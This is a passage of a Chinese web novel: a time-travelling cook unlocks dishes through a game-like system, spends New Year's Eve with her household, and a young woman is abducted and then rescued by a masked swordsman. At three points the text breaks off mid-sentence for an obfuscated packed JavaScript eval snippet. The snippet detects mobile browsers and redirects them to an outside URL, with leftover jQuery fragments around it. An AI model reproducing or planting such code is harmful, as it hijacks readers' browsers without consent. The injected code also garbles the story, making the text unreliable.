这时，眼尖又坐不住的林映瑶率先发现了正在偷看的尚怀真，兴奋地从椅子上跳起，拿着自己刚包好的羊肉角子递到她的面前，勾了勾唇角，睁着大眼睛盯着她的反应，神气道：“怀真哥哥，这是我包的角子，你看好看不？” 尚怀好奇地接过，看着那一高一低的捏口觉得很是可爱，用手戳了戳，皮厚肉实，想来几个下肚就能吃饱了，忍笑地夸赞道：“很好看，咱们瑶瑶的手真巧！” 林映瑶开心地拉着她坐到自己身边，把包好的那一小碟角子展示给她看，不容拒绝地说：“那怀真哥哥今日要把我包的这些都吃完哦！” 尚怀真看着那一碟大小不一的角子，哭笑不得，连忙应好。转而见孟奶奶和林映玉手下的角子都包得十分精致，直感叹道自愧不如。 刚拿起一张饼皮想帮忙，就被林映玉抢了过去，懵圈地抬头看着她，却见她对自己眨了眨眼，难得俏皮道：“我们女眷之间聊些闲话，你一个男儿郎可不兴听，将至午时，怀真，我想吃白切鸡了。” “！？我想听啊，我最爱听八卦了！”尚怀真的诉求在听到孟奶奶认可林映玉的附和下只能化作心中的哀嚎。 泄气般地捏了捏她嫣然含笑的脸，在她的惊愕中吐舌扮了个鬼脸，笑道：“好哇，你个小丫头，胆子是越来越大了哈，看我整点黑暗料理给你尝尝。” 待林映玉红着脸反应过来，尚怀真已经跑没影了，她捂着被捏了的那边脸，害羞地看了一眼座位上的两人，见孟奶奶依旧在慈祥地笑着，林映瑶似乎没了适才的精神头，但她寻常都是面无表情的样子，倒也瞧不出什么不妥来，心下松了一口气，便继续认真地包起角子，以压抑心中的汹涌澎湃。 另一边的尚怀真来到厨房，看到桌案上备好的韭菜，想到上次解锁了一堆菜品都还没抽出时间进系统，这番茄炒蛋、韭菜炒蛋几乎是人人都会的入门家常菜，既然现在没有番茄，那韭菜炒蛋应该能上榜吧。 想到就干！ 这道菜虽是入门级的，看着简单，但实际上也有许多难点，比如炒韭菜的时间要合理把控使其不生不老，油量的多与少也会影响鸡蛋在口感上是滑是干，最终有无令人爱不释口的‘锅气’亦考验厨师对火候的控制。 看着眼前灰扑扑的灶台，心道果然还有很长一段路要走。弄好客栈还要找人做便利的厨具，这钱是半点存不了。 多思无益。 将晾干了水分的韭菜切长段，把鸡蛋搅成液，往蛋液里加入一勺水淀粉和盐，然后开锅热油走一圈，以防一会鸡蛋粘壁。 鸡蛋液下锅，慢慢推着煎一会，使蛋液成型后呈现出成块的片状，迅速翻锅把夹生的一面煎熟，此时吸饱了油的鸡蛋看着便十分金黄软滑，随后在锅中将其切分大块，藕断丝连的边角就好似柔顺的丝巾，形状非常美丽。 多翻两次后焯嫩盛出，用盐、糖等把韭菜裹一下，再次热油后倒入爆炒，炒至约二十秒时，韭菜变得翠绿，及时倒入前面炒好的鸡蛋，一同翻炒均匀使味道融合。 出锅装盘，每一片韭菜和鸡蛋都是油亮亮的，甚至还有未散的锅气，尚怀真没忍住夹了一片鸡蛋，刚送进口里就把她烫得龇牙咧嘴，但不得不承认是真的鲜滑啊！可惜不小心还是炒焦了些，味道也有点淡。 【叮咚！恭喜玩家成功解锁《天机食经》菜品——韭菜炒鸡蛋，此次解锁品质为良品。请问玩家现在需要进入精神庄园吗？】 “进呀！进呀！”每当系统的声音响起，都是离她回现代的希望之光变得更强的信号，所以她总是迫不及待。 虽然有那个精神仓库的传送门，但是她进去过几次，每次都只能在仓库里晃悠，根本见不到老咪，更别说去商城里买东西或查看信息了。 【因玩家已成功解锁一道极品菜目，此次进入系统的时间增长至三十分钟。检测到玩家长时间未进入系统，请问需要播报这一段时间以来解锁的菜目与获得的奖励吗？】 “好的呀！” 【截至上次玩家进入系统后，目前还成功解锁了‘优品白切鸡’、‘优品水煮鱼’、‘优品酱排骨’、‘优品香菇盒’、‘良品四喜丸子’、‘良品香酥鸭’、‘良品金汤豆腐’、‘良品韭菜炒鸡蛋’，获得基础奖励八十烹饪币，并达成了《解锁十道菜》成就，获得成就礼包，开启可得五十烹饪币，玉米、韭菜、土豆种子各一，及雏鸡一只。请问玩家是否现在……】 “开启！”都不等老咪那机械性开合的嘴巴说完，尚怀真就兴奋地打断了它，大步走过去点开了它头上的“仓库”项，只见之前种下的番茄它已经帮自己采摘好了，现在仓库中有二十颗，青椒也还剩下十根，其余的便是它刚刚说的那些奖励。 把小鸡取出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627009|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再种下土豆后，长按住番茄，却不见此次有【关联】的板块跳出来，想来是还没有解锁到与番茄有关的菜目，所以没被激活。只好退出来重新再点进“菜目”页，看到一下子翻牌并亮起来的许多个图标，顿觉心情大好。 仔细数了一下，目前总共解锁了十三道菜，优品的已经激活了七个，极品一个，只要再努力一下做出三个优品，就能多开垦一片荒田了，只是不知道这本食经里总共收录了多少道菜，是不是把田开垦完后就差不多了。复又点开“商城”，自己的小金库里居然已经存下了一百五十一枚烹饪币，果蔬旁边甚至还多出了一栏工具页！ 切换后，看到里面有平底锅、蒸笼、烤炉……她连忙问道：“这些工具买下来之后可以拿出到现实里用吗？” 【凡存放在仓库中的东西，都是可以随意拿取的，不过种子及家禽等生物，只有在精神庄园里方可养殖。】 天，这不就是最强金手指吗！ 开心地浏览着那些现在虽然还买不起，但却十分诱人的工具，尚怀真简直要乐开了花，激动地都忘记了大部分便捷的厨具都需要用到电，而古代恰好没电。 本想存多点再消费，但在纠结下反复退出又进入后，还是咬牙剁手了一个手动打蛋器。就这一个现代里卖几块钱的小东西，竟花了她一百二十枚烹饪币，虽然只是数字上的增减，但明显感觉到刚刚还是很富有的人一下子变穷了。 突然想到明天就是春节了，又问：“老咪，现代的时间和这边是同步的吗？我可以看一眼我现代的亲人吗？” 老咪闻言沉默了许久，原本弯弯的眼睛变成了一条直线，似乎在思考着事情，在尚怀真快要等得不耐烦的时候才开口道： 【精神庄园里一个月等同玩家原世界的一小时，所以请不必担心，努力完成任务，获取愿望锦囊，便能实现相应需求。】 尚怀真听完，呵呵了一下。敢情就是不行嘛，还说这么多官方的话，简直一点都没被安慰到！ 虽然听上去现代的时间会过得很慢，但如果在这呆上一年，那边也过了有半个月了，半个月不见人，又没人坚持报案找寻的话，局里都可以直接判定死亡了。自己的社会身份还无关紧要，奶奶熬得到那一天吗？ 系统外，林映玉端着一大盆包好的角子端进厨房，就看见尚怀真拿着一碟韭菜鸡蛋坐在那里唉声叹气，不明所以地走过去，直接把刚从系统里回来的尚怀真吓了一跳。 “映玉，你怎的来了？” 见她眼中隐有泪光，林映玉心跳漏了一拍，虽不明缘由但依旧抚慰道：“怀真，是这道菜没做好吗？没关系的，下次再接再厉定然会成功的。” 尚怀真满腔憋屈却没办法解释，只能勉强扯起一个笑容，感谢道：“谢谢你，不是为的这事。这个韭菜炒鸡蛋你先端出去吧，一会我来把这些角子烫熟就好，白切鸡只能今晚再给你做了。” 林映玉心疼地看了她好一会，感觉她并不想与自己倾诉，只好放下角子，接过那碟香气四溢的韭菜炒鸡蛋，柔声说：“如果你太累了的话就不用做啦，明日便是大年，有什么不好的事都会过去的。”顿了顿，又怯涩道：“怀真，其实我很愿意倾听你的郁结的，如果可以的话。” 尚怀真点点头，用力地深呼吸后叹出了一口郁气，笑道：“行。你快拿去吧，韭菜凉了就硬了。” 悲天悯人有何用？等永兴楼做强做大，剩下那些还待解锁的菜目不就应接不暇地亮起来了？ 27. 过新年（一） 用热油浇在最后一道清蒸鳜鱼上，端到已经被堆得满满当当的餐桌中，置于主位，寓意“年年有余”，这顿代表着新年伊始的团圆饭正式开宴了。 尚怀真烫意未消的手指捏着耳垂，刚坐下，就听到外头的街道上锣鼓喧天、鞭炮齐鸣，喜庆的氛围说来就来。她竖耳好奇地听着，还时不时看向门外，也不知道这大喜日子里会不会有舞狮闯进来讨红包呢？ 孟奶奶看着她那心猿意马的可爱模样，笑道：“吃罢这顿除夜饭，沐浴更衣后，咱们一家人就一同到街市上逛逛，今夜的热闹会通宵达旦。” 尚怀真万分期待地鼓掌欢贺，团团圆圆的才是过年嘛！看着一大桌子的美味佳肴，她思念家乡的愁绪也消散了许多。 尚广明给她满上了一杯酒，脸上出现了难能一见的笑容，邀请道：“年年屠苏，岁岁无忧。这屠苏酒最是暖肝脾、去疫病，且陪为父小饮几杯罢。” 尚怀真受宠若惊地双手端起酒杯，对他举了举以示尊敬，笑道：“谢过父亲满酒，那孩儿我就恭敬不如从命了。” 敬过孟奶奶后，与尚广明碰了碰杯，仰头一口干下去，她就被呛得剧烈咳嗽起来。 对于没怎么碰过酒的她，这屠苏酒实在是太辣了。被酒精淌过的喉咙好似火烧一般，又热又烫，辣意过去后，还有苦涩的草药味，感觉就像在喝凉茶味的鸡尾酒，虽然尾调带着一丝甘甜的回补，但对于不爱酒也不爱喝中药的人来说，简直就是在品人间毒药。 尚广明看着她难以下咽，一脸嫌弃的模样，微微笑道：“这酒需得慢慢品尝，先轻抿驱去体中寒意，从口腔至五脏都被暖润一遍后，再小啖一口，舌尖适应了其中的辛涩就会蔓延出甘甜，此时滋味已与初品时大不相同，而后再畅怀尽饮，清风入喉、春意拂面的感觉便会萦绕而来。” 尚怀真受教地点了点头，舀了一碗清润的五福汤卷去还残留在喉间的苦辣后，学着他的方法，复又饮了一杯屠苏酒，确实觉得味道好了许多。而且得益于其用药材入酒，以药为主、酒为辅的制作方式，使小酌起来并不易醉，再就上几口热气腾腾的下酒菜，整个身体更是变得暖洋洋且精神饱满。 两杯下肚，她都能感觉到自己先前微霜的脸庞也红润了起来，刚放下酒杯，林映玉就给她递来了一碗角子，贴心道：“腹中空寒下饮酒易带伤，先吃点饱腹的面食养养胃吧。” “好咧！这桌子菜可都太美味了！映玉你真称得上是人美且能干！”尚怀真小心接过，对她露出一个赞许的灿烂笑容。 今日孟奶奶大包大揽，让林氏两姐妹打下手，把自己赶出了厨房，然而除了最后一道清蒸鱼外，桌上的鸡鸭牛羊等肉菜，基本都是林映玉做的。她们从白天忙活到黑夜，整整十二道菜，寓意未来的十二个月都能红红火火、心想事成，为新的一年带去了美好祝愿。 林映玉听此，面带笑意，脸红红道：“难登大雅之堂的厨艺，怀真你喜欢就好。” 尚怀真觉得她似乎比刚认识那会变得开朗了许多，顿时无比认可夸夸能让人变得自信的铁律，立刻不吝词藻地夸赞道：“映玉你可实在谦虚了，就这碟烤羊排来说，外焦而里嫩，羊肉牢牢依附在羊骨上却能干净脱骨，口感软硬适中，韧劲足且入口滑，比之广源楼那闻名一方的招牌羊肉串都有过之而无不及，实在是太好吃啦！” 林映玉见她直接上手拿着羊骨，不顾形象地用上下双齿锁住羊肉后大力撕咬下来，羊排中溢出的油脂迅速覆上了她的双唇与嘴角，她还丝毫不觉，一边享受地嚼动着，一边对自己举指称赞，那一鼓一鼓的腮帮子，在她认真的神情下，显得很是憨态可掬。 看着林映玉掩嘴轻笑，双眼弯成了月牙，尚怀真随意擦了擦自己的嘴角，乐呵呵地给在座的众人夹菜。 孟奶奶听完她们的对话，也笑问：“真儿，那阿奶做的菜如何？” 还不待她答话，林映瑶也赶紧附和道：“怀真哥哥，我呢我呢？” 好嘛，真的是处处都是修罗场啊。求助地看向尚广明，接收了一记“爱莫能助”的眼神后，尚怀真扯起既开心又无奈的笑容，将几人做的菜肴一一品尝和点评后，肚子就被撑得鼓鼓的了。 五辛盘，迎新春，家家户户好运到。说笑打闹间，每个人都差不多吃得大腹便便之时，夹起一口辛菜解腻后，孟奶奶便拿出了给众人准备的新衣，让他们半个时辰后到大门处一同点燃炮仗，上街观岁，守夜迎新。 尚怀真接过，看着那细腻的针脚，惊喜地当众展开在身上比了比，发现无比合身，又将孟奶奶夸了个天花乱坠，见她容光焕发，眼尾似乎又多了几道皱纹，嗔怪的话语下却有风韵犹存的娇俏，便俏皮地吐了吐舌扮了个鬼脸跑走了。 - 湖山县县城的街道上，游人如织，灯火通明，家家户户都携老扶幼漫步在这座喜庆的小城里。 街道两边有许多捏糖人、画纸扇、卖甜糕的店铺，各式各样的摊位紧紧相挨，五花八门的吆喝之声不断，人们争相讨价还价，每数百米还各有两个衙役看守以防暴动。尚怀真大开眼界般左顾右盼，感叹这场景完全不输现代的夜市。 除了对流民和女性的要求严格外，这世道好像还不算太差？ 跟随着人流在街上慢慢逛着，她一点都不害怕会错过好东西，因为人实在太多了，想走快点都走不了。给三位互相牵手搀扶的大小姑娘们买了一些实惠的首饰和可爱的小玩意，再往前走上一段路，一家仅可容下两人站立的小糕点摊吸引了她的注意。 交代了几人在进入中街的路口处集合后，尚怀真走过去仔细瞧，观见摊主是个衣着破烂的妙龄女子，干净利落的发髻下容貌平平，可以说是放到人群里就找不见的那种，但她摊位上的糕点却靓丽非常，一眼望去五颜六色、小巧玲珑，极似可以一口闷的慕斯蛋糕。 糕点摊的女掌柜看到尚怀真兴致勃勃地盯着自己的糕点，忙热情地招呼道：“这位小公子，妾家的糕点都是当日现做的，您可以先尝一尝。”说罢，拿出了一枚小一号的石榴糕递给她。 尚怀真捧过来，用细竹签插起一小块，看了看那明显分了三层的颜色后，放入口中，糕体便如云朵散开般在舌尖轻柔化开，浓浓的石榴甜味下还有淡淡的奶油香，相辅相成，甜甜蜜蜜，鸡蛋做的糕坯不仅解了牛奶的腥味，还给了这抹美丽色彩一个肆意绽放的平台。 “太强了！简直强到没边了！”她感叹地心下直呼。居然连简易版蛋糕都有，还以为自己一个穿越人士可以利用信息差大秀优越，一鸣惊人呢，没想到古人的智慧不容小觑，这个时代果真是藏龙卧虎、人才辈出。 她兴奋得似发现了宝藏一样问道：“这位姐姐，请问你家的糕点怎么卖？” 对面的人和善笑答：“十文一枚，今日除夜，买五枚可多赠一枚，小公子您想要多少呢？” “十文？你摆出来的这些我全都要了！”尚怀真数了一下，见她摊位上只摆放了十八枚小蛋糕，直接豪爽地包圆了。 女掌柜看了看她身后，又打量了一下她的平凡穿着，见她似乎只有自己一人，连忙摇头道：“多谢贵客厚爱，这种果酱甜糕只能存放两日，小公子家中人口不丰的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644362|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不建议买这么多哦。” 尚怀真笑道：“没关系的，我自己一个人都能连吃好几块。” 见自己来了那么久都没几人帮衬，在她打包之际，好奇地问：“姐姐，你做这个甜糕的料材本钱就不少了吧，为何卖这么低的价格？” 女掌柜闻言，看着她清澈的眼神愣了一瞬，旋即笑了笑，轻松道：“我家有一头不能耕地却能产奶的母牛，鸡蛋也是自家养的母鸡下的，卖十文虽不多，亦能小赚个一文半钱。平日里我都只能托人带进来卖，每次都无利而返，便猜想是不是城里人不好这口，今日难得免去城守，便亲自过来，见售卖点心的商铺多如牛毛，方知我家的甜糕毫不起眼，也就只求保本多销了。” 刚把打包好的甜糕交付好过去，这时，旁边有个小男孩扯了扯她的衣袖，用稚气的声音道：“阿娘，甜糕卖完了，您可以陪石头去看傩戏吗？” 尚怀真循声看过去，只见小男孩约莫十岁的年纪，稚嫩消瘦的脸上却不见多少天真之色，正坐在摇摇欲坠的破木轮椅上，满含期待地看着女掌柜。 “好，好。等阿娘把摊子收起来了就陪你去。”女掌柜不好意思地对尚怀真笑了一下，宠溺地拍了拍石头的手，快速把租用的摊位整理好。 家家有本难念的经啊。 尚怀真没多想，表达完自己的喜爱并谢过后，提着甜糕快速绕过人群去找已经走到了很前头的林映玉等人。 此时，与孟奶奶和林映瑶坐在一家面馆前的林映玉无比烦恼。 自尚怀真和尚广明先后暂离，原本只被路人有意无意盯着看的她，开始有不少年轻公子与中年妇人前来与她攀谈，不是问年龄，便是问家世，更有直白的还问是否已婚配，若不是人多且是夜间，她真想把斗笠戴上。 林映瑶看了看在隔壁桌与老姐妹相谈甚欢的孟奶奶，目送走又一个吃了闭门羹的公子哥，把玩着筷子道：“阿姐，他们随便一个都比尚怀真好啊，你为何拒绝得如此快？” 林映玉避过又一道直勾勾投过来的炽热目光，看着她，嗔道：“我们现在都还是流民，有谁会像怀真一样不惧压力地收留我们，还把我们当寻常人一般看待？” 林映瑶撇了撇嘴，不以为然道：“可是俺们现在有钱了呀，你打扮打扮，那些有钱的贵公子为你着迷的话，别说金银珠宝，买下一个户籍不是轻而易举的事嘛。若不是你之前不肯为妾，我们也不至于要吃这么多苦，现在孟奶奶也把你当女儿一样看待，你就谎称是她们家的远房亲戚，大不了敬尚老爷为养父，不也是有个能当正妻的身份了？” 林映玉感受到对方不太高兴的语气，想起之前饥寒交迫的颠簸，顿时如鲠在喉，苦涩道：“确实很感谢林娘子当时的收留，可是我……” 林映瑶盯着她为自己点的那碗满满肉碎的面上升腾的白雾，还不待她说完，冷笑了一声，用筷子把面挑起，白雾即刻溃不成型，斜了她一眼道：“阿姐。你可别忘了，你的命是我救回来的。” 面馆前的街道上，男女老少簇拥着说说笑笑，夜愈深，这盛况却愈热闹，与林映玉此际的黯然神伤形成鲜明对比。 其时，还沉浸在逛街乐趣中的尚怀真完全不知道自己家的大美女已经被有心人盯上了。 中街街口旁一家悬灯结彩的茶楼上，一个把玩着玉扳指的玄衣男子，正斜靠在暖塌上闭目养神。不多时，房门开合，微风随着脚步声潜入，吹起了他鬓旁黑白相交的发丝。他眯开三角眼，看了一眼来人后复又闭上，沉厚的声线懒懒开口，问道： “可打听到那女子是何身份？” 28. 过新年（二） 优哉游哉地走到与中街相驳的路口处，被林映瑶叫住的尚怀真将甜糕分给几人，待她们吃完，环视了一圈，仍不见尚广明的身影，知道他不太喜欢凑热闹，也可能是去走访好友了，便提议自己一行人先行过去。 穿过刚刚逛来的那条两边挤满摊位的小街，甫一抵达中街时，眼前瞬间阔然开朗，四周只余一些高耸绮丽的楼阁，呈圆弧状肃立地围住中间的一大片显然被修整过的空地，就类似现代商业古镇内的中央广场。 虽然场地很大，但除了人头，几乎什么都看不见。 听到不远处传来的欢呼声与鼓乐声，尚怀真努力地扒开人头攒动的人群，但见广场正中有一座八角凉亭，此时凉亭的南面架起了一摊篝火，戴着面具的武师和提着锣鼓笛笙的白须老乐者们正在来回穿梭舞动着。 对于这在后世濒临失传的传统文化，她大感兴趣，既然扒开了人群，不往前面钻都对不起自己这不要脸的行为。 无视一片不友好的声音，问了身后几人的意愿后，让孟奶奶和林映瑶到旁边的茶楼里找个位置先坐着，她就紧紧拉着林映玉的手，亲自撞开了一条人海中的离岸流，蛄蛹到了前排。刚抬起头想把被挤得凌乱不堪的头发整理一下，就被一团恰好冲过来的火光吓了一跳。 林映玉也被这突如其来的危险惊到了，忙闪身挡在她的面前。 所幸这是武师们练习了多次后已熟能生巧的喷油火表演，火光冲天的那刻实际只有一刹那的绚烂，并不会对旁人造成实质性的伤害。只是这道火光映亮了女子那惊愕下仍旧玉貌花容的脸庞，伴随着掌声雷动的惊呼，一时不知是为了这场精彩的演出还是为了她。 尚怀真反应过来后，担心地问了她好多遍有没有被伤到，见她的脸一如既往的美丽，才放下心来。 不太喜欢被他人注视的林映玉，微微欠身躲在了尚怀真的身后，看着她恣意呐喊的模样，盈盈一笑。 眼前的歌舞仍在继续，虽然那些面具看着有点诡异吓人，但那一支壮丽的舞蹈，在民众的自发跟随下，渐渐迎来了高潮。生旦净末丑等几位主要的“通灵者”们口中喊着“傩，傩，傩……”的咒语，领着众人绕着整个广场跳了一圈，时间也来到了子时四刻。 一曲傩乐毕，百病百疫消。 大年的更声敲响，“通灵者”们退场后，“巫师”上阵，闯刀山，下火海，驱邪祟。尚怀真看到许多形容枯槁的夫妻或老人，将看起来不太健康的孩子放在“巫师”们设下的案桌上，而后随着喷出来的火星，赤脚踏入了案桌前那盆正熊熊燃烧着的火盆中。 其中就有刚刚卖甜糕的女掌柜。 舞累了跟着人群席地而坐的尚怀真目瞪口呆地看着这一幕，向林映玉问道：“映玉，他们为何要这么做？” 林映玉叹了一口气，跟她说傩戏已经结束了，提议她一起回茶楼后，一边走着一边感叹道：“没想到这样一座小小的县城都能举办如此盛大的傩戏演出，我记得小时候我只在涟州的州府里看过，想来湖山县的县令是个有作为的好官。” 随后又回应她的问题：“传闻火能通神，心志虔诚之人，可以通过走火堆的方式以获神助，意即‘下火海’，而喷油火亦能将被火光拥簇之人身上的邪祟与恶疾赶走，在这辞旧迎新的除夜，普天同庆，三界齐欢，心愿成真的希望便会大大提高。不过这套仪式只能帮助被病痛缠身之人，所以许多身染恶疾却医治无门的患者，会将企盼寄托于神灵。” 尚怀真了然地点了点头，看着微风吹动坐在案桌上的石头轻飘飘的裤管，然而他却丝毫不为此沮丧，眼神晶亮，眸里充满了对未来的希望，再看向抿嘴忍耐，双掌合十，端着虔诚姿态反复踏过火海的女掌柜，心情莫名低落。 要吃过多少苦，才能做出如此甜口的甜糕啊？ 只道是人生难能多如意，可怜天下父母心。 回过头来，还差几步就要走到茶馆楼下了，突然有一群人一窝蜂似的从里面涌了出来，将正在谈话的两人冲散。 尚怀真伸手想扯住林映玉，却被硬生生拦断，一开始她还是很有礼貌地让那些人借让一下，发现无人理会后，直接气得破口大骂，还把紧挨着自己的两个大个子推出了老远。 挤着她走的人群见此，惊讶于她小小身躯竟有如此大的力量，眼神交流了一番后，见又有几人被推倒，才好像无事发生一般集体散开。 尚怀真来不及搞清楚这是怎么回事，急忙冲到刚刚与林映玉走失的地方，却见早已人去楼空，尘埃落定。急得她如热锅上的蚂蚁，又跑到了茶楼上面，找到昏昏欲睡的孟奶奶和林映瑶，问她们有没有见到林映玉。 看她们一致莫名其妙地摇头，只能憋下焦急，略微安抚后，让她们先回家里去，自己则又跑到街上逢人就问林映玉的下落。 - 林映玉再次醒来时，只见自己躺在一张帷幔轻垂的花梨木大床上，身下高枕厚被，床沿镂刻精致，床外的布置更是富贵典雅，地上还铺着绒毛软垫，左右两柱灵鹤立灯高悬明亮，想来外间还未天明。 她揉了揉仍带着麻意的后颈，挣扎着想要起来，一个侯在房中的侍女闻声而至，恭敬道：“姑娘您醒了，仆家主子吩咐说让您多休息一会，不必着急起身。” 林映玉疑惑地看着她，问道：“这里是哪里？你家主子是何人？” 她记得昏迷前自己正与尚怀真聊着天，突然有一伙人从茶楼里冲出来将她两人隔散，而后前进不得时，被一个彪形大汉抓住说要将自己掳回去给他家的山大王领赏，抵抗之际被强行拍晕，闭眼之前隐约见到有一个貌美的公子出手将自己救走。 侍女垂首答曰：“这里是主子在泽云府的一处居所，仆家主子是汉阳侯的大公子。请姑娘稍坐片刻，仆去通禀主子。” 林映玉点了点头，打算道谢一番后便离开。 等了好一会，见主人家还没到，想出去透透气，方走到门口处，就被守在外间的侍女拦了回来，美名其曰是更深露重，担心她身体虚弱会惹上风寒，但她总觉得事情好像不是那么简单。 见两位侍女腰有佩剑，林映玉不敢莽撞硬闯，只能折回坐在矮榻上，思考着一会该如何应对。 不多时，一位姿颜出挑的男子走了进来，在一袭华贵的朱色锦裘衬托下，更显得俊美不俗。 汉阳侯世子康瑞骁用上扬的丹凤眼打量了林映玉一眼，温和笑道：“林姑娘，受惊了，醒来后可还有何不适，某可请名医来为你诊治。” 林映玉确实有被他出挑的容貌惊艳到，但想到尚怀真那纯真善良的笑容，礼貌地收起直视他的目光，起身福了福，拿出自己仅有的钱递给他，感谢道：“多谢世子搭救，这是劳烦照顾的纹银，望世子莫弃，小女子已无甚大碍，不便继续叨扰，便先行告辞了。” 坐在她身旁的康瑞骁翘着二郎腿，一只手托着脸，另一手用折扇轻轻推开她拿着钱袋子的手，盯着她姣好的脸，笑道：“救人一命，胜造七级浮屠，林姑娘不必客气。只是不知你婚配与否？” 林映玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650623|184444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到他会问这个问题，愣了一下，如实回答道：“未曾。” “那你看本世子如何？” 林映玉闻言头都不抬，沉声道：“世子贵为天之骄子，切莫戏弄小女子此等山野村妇。夜深了，小女子若继续在此打扰世子休息，实乃罪大恶极，万望世子保重身体。” 康瑞骁轻笑了一声，把身体坐直，用折扇挑起她的下巴，直视着她的双眼，邪魅笑道：“一个山野村妇怎懂得说出如此不卑亢且知礼数的话？我观你气质清雅脱俗，实是一见倾心，愿予你半生富贵，难道是本世子入不了美人你的眼吗？” 林映玉看着他眼中闪烁的波光，似有摄魂夺魄的力量，不禁有些呼吸急促，眼前人也渐渐模糊地化成了另外一个人的样子，正用柔情似水的神情呼唤着自己。 她的唇角甫一勾起，心下就立即鼓声雷动，知道这是幻象，赶紧闭上双眼，脑海中念着清心的诗赋。 康瑞骁见状，呵呵一笑，放开了她，满不在乎地道：“看来是有心上人了啊。今日我救你一命，想要林姑娘你用以身相许当作报答，往后你便是荣光一世的汉阳侯夫人了，不知姑娘意下如何？” 林映玉想都没想，语气中有些不快，果断地拒绝道：“谢过世子错爱，君子当不强夺他人之志，请问我可以离开了吗？” 康瑞骁挑眉，啧啧道：“美人真是有骨气呢，虽然被你拒绝得这么狠心，可是我……” 刚起身正要往她那边走过去，却听头上瓦柱突然碎裂大响，暗卫的声音在外间吵嚷了起来：“有刺客！快去保护主子！” 还不待他反应过来，头顶的屋梁轰然断裂，一个身着劲衣的蒙面男子从裂口处闯入，抱起林映玉闪身逃走。 康瑞骁连忙追上去，从折扇里射出绑着银丝的弯钩，直直锁定前方的黑衣人。见他一剑挡开后，自己的暗卫们已将其包围，看着他在其中孤身作战，站在不远处环臂笑道：“不知阁下是何方高人？某为天子办事，你此行若被查出可是灭门之罪，只要阁下放下此女，今夜之事本世子便可既往不咎。” 黑衣人完全不理会他，用那四两拨千斤的剑法迅速击退了围攻他的兵士，收起剑后双手横抱着林映玉，在家家户户的房梁上借力快速逃离，很快便消失在了夜色中。 硬要追赶的话必然会惊动许多人，暗卫统领惭愧地看着自己断掉的剑，捂着胸口半跪在康瑞骁的跟前，等着他下一步的指示。 康瑞骁目光阴郁地盯着黑衣人消失的方向，对暗卫道：“先带弟兄们下去好好疗伤，今夜之事莫要与他人提及。” 找人把屋顶加急修缮后，他拢了拢隔绝不掉寒意的鹤氅，连夜出了城。 另一边，林映玉咬唇紧紧地拉着黑衣人的衣裳，频繁跃动的离心力让她实在不太舒服，但又怕惹了侠士的不快，只能强自忍着腹中的翻涌之意。 黑衣人看了她一眼，淡淡道：“害怕的话我可以让你先睡过去。” 林映玉点了点头，又摇了摇头，看着身下离湖山县越来越近的景色，面色苍白地问道：“敢问侠士尊姓大名，是怀真让你来找我的吗？” 黑衣人没有正面回答她，只道：“你这会先睡一觉会比较好。” 说罢，停下来给她硬塞了一颗药丸后又继续赶路。 药效发作，一股暖意在林映玉的体内迅速蔓延开来，驱散了她四肢的冰寒后，睡意也随之袭上脑门，眼皮开合之间，看着眼前那刀削般的下颚骨，她迷迷糊糊地喊了句： “爹爹……” 29. 起灵县令 卧虎山的山南处，有一座小镇坐落在山坳坳里，四周高山耸立，川水纵横，交通不便，可谓是外面的人进不来，里面的人也难出去，来此县城上任的官员，多也是被贬谪而来。 好在入云的高山挡住了南下的冷空气，虽然已经存在的冷风刮不出去，但也足以让里面的居民温暖地度过这个寒冬。 李修阙坐在县令韩晟的书房里，一边在烤炉上暖着手，一边吸溜着鼻子道：“韩大哥，你这房子也太冷了吧，怎的不多烧些炭。” 韩晟约莫三十出头的年纪，黝黑的脸庞上蓄着一簇精短亮泽的胡须，精瘦矮小的身躯看着却能顶天立地。 他闻言撇了一眼李修阙，不置可否道：“朝廷每年的拨款堪堪够起灵县的城防修缮，我还要妥善安排你领过来的那些流民，哪有那么多银钱去囤炭。” 李修阙赶忙从怀里又掏出了一袋银子，放在桌案上，责备道：“那我时常给你送来的银两还少吗，你可是这里的父母官，不对自己好些，万一倒下了，那些流民还能有活路吗？” 韩晟看着他不认可的神色，笑了笑，将手中的书卷合上，起身道：“我比你虚长了一轮，倒轮到你教训起我来了。走吧，一起出去给他们拜个年。” 起灵县的道路上，沙尘仆仆，偶有微风吹过，就能带起一路的小石子，这残败的模样，完全不像是一座县城，倒像是一个偏远贫困的小山村。然而路虽如此，道路边上的民居商铺，却砌得牢固利落，人们沿道行走，一眼望去整洁干净，民风有序。 有县民认出了穿着常服结伴而行的两人，连忙打着招呼，兴奋地把手中的瓜果递了过去，携着幼子的手，对他们说着吉祥感激的话。 